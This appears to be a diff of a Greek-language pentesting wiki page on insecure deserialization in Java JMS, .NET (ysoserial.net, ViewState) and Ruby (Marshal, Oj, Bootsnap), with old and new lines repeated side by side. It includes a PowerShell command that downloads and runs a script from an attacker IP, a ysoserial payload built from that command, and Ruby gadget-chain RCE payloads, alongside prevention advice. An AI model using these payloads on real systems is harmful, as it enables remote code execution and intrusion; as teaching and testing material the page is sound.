Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά δικαιώματα** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που έχουν σειριοποιηθεί και θα αποσυμπιεστούν από τον καταναλωτή/συνδρομητή**.\
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**.
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυμπιέζει ανασφαλώς την είσοδο του χρήστη) πρέπει ακόμα να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
@ -676,8 +675,8 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
- [Patchstack advisory Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
- Ομιλία JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Διαφάνειες: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
@ -696,7 +695,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
#### BlackBox
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`.
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`.
### ysoserial.net
@ -708,8 +707,8 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυμπίεση για να εκτελέσει εντολές).
- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυμπιέσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα)._
- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα frameworks** όπως το ViewState
- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργήσει πάντα)._
- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα πλαίσια** όπως το ViewState
#### Περισσότερες παράμετροι ysoserial.net
@ -735,7 +734,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσουμε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
Αν δηλώσετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
@ -763,36 +762,36 @@ return obj;
}
```
Στον **προηγούμενο κώδικα υπάρχει ευπάθεια στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\
Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το **ysoserial.net**.
Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσυμπίεσης που μπορεί να δημιουργήσει το **ysoserial.net**.
### ViewState
Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για να **εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.**
Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για **να εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net:
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσυμπίεση σε .Net:
- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
- **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.**
- **Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
- **Περιορίστε τους τύπους που μπορούν να αποσυμπιεστούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
- **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί.
- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσυμπίεσης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
- **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`.
- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή gadgets αποσειριοποίησης** εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους.
- **Απομονώστε τον δυνητικά επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών gadgets, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσυμπίεσης** εντός του .Net και διασφαλίστε ότι οι αποσυμπιεστές δεν δημιουργούν τέτοιους τύπους.
- **Απομονώστε τον ενδεχομένως επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
### **References**
- Έγγραφο σχετικά με την αποσειριοποίηση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Έγγραφο σχετικά με την αποσυμπίεση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
Στη Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση.
Στη Ruby, η αποθήκευση είναι δυνατή μέσω δύο μεθόδων μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποθήκευση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσυμπίεση.
Για την ασφάλεια των αποθηκευμένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:
@ -801,7 +800,7 @@ return obj;
- `config/secrets.yml`
- `/proc/self/environ`
**Γενική αποσειριοποίηση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Γενική αποσυμπίεση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -878,7 +877,7 @@ puts Base64.encode64(payload)
Όπως εξηγείται σε [**αυτή την αναφορά ευπάθειας**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο `.send()` ενός αντικειμένου ruby, αυτή η μέθοδος επιτρέπει να **καλέσετε οποιαδήποτε άλλη μέθοδο** του αντικειμένου με οποιαδήποτε παραμέτρους.
Για παράδειγμα, η κλήση eval και στη συνέχεια κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:
Για παράδειγμα, η κλήση του eval και στη συνέχεια του κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
@ -917,7 +916,7 @@ candidate_methods.length() # Final number of methods=> 3595
### Other libraries
Αυτή η τεχνική ελήφθη [**από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Αυτή η τεχνική ελήφθη[ **από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά):
@ -957,7 +956,7 @@ Oj.load(json_payload)
"password": "anypw"
}
```
Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την εκμετάλλευση μιας άλλης συσκευής προκειμένου να μετατραπεί αυτό σε μια πλήρη RCE με κάτι σαν:
Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε μια πλήρη RCE με κάτι σαν:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -983,13 +982,13 @@ Check for more details in the [**original post**](https://github.blog/security/v
### Bootstrap Caching
Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείς την προσωρινή αποθήκευση bootstrap για να αποκτήσεις RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρες την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείτε την προσωρινή μνήμη bootstrap για να αποκτήσετε RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρείτε την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής αποθήκευσης Bootsnap:
Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής μνήμης Bootsnap:
- Identify the Vulnerability and Environment
Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-ριζικού χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής αποθήκευσης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap).
Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-διαχειριστή χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής μνήμης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap).
- Understand Bootsnaps Cache Mechanism
@ -1018,7 +1017,7 @@ Check for more details in the [**original post**](https://github.blog/security/v
### Ruby Marshal exploitation in practice (updated)
Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως RCE sink. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης.
Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως σημείο RCE. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης.
- Minimal vulnerable Rails code path:
```ruby
@ -1035,7 +1034,7 @@ end
end
```
- Κοινές κατηγορίες gadget που παρατηρούνται σε πραγματικές αλυσίδες: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά τη διάρκεια της αποσυσκευασίας):
- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά την αποσυσκευασία):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
@ -1045,11 +1044,10 @@ Where it surfaces in real apps:
- Οποιαδήποτε προσαρμοσμένη επιμονή ή μεταφορά δυαδικών αντικειμένων
Industrialized gadget discovery:
- Grep για constructors, `hash`, `_load`, `init_with`, ή μεθόδους που προκαλούν παρενέργειες κατά τη διάρκεια του unmarshal
- Χρησιμοποιήστε τα unsafe deserialization queries του CodeQL για Ruby για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets
- Grep για constructors, `hash`, `_load`, `init_with`, ή side-effectful methods που καλούνται κατά τη διάρκεια του unmarshal
- Χρησιμοποιήστε τα Ruby unsafe deserialization queries του CodeQL για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets
- Επικυρώστε με δημόσιες multi-format PoCs (JSON/XML/YAML/Marshal)
## References
- Trail of Bits Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
@ -1061,7 +1059,7 @@ Industrialized gadget discovery:
- GitHub Security Lab Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3-4-deserialization.html
- Luke Jahnke Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444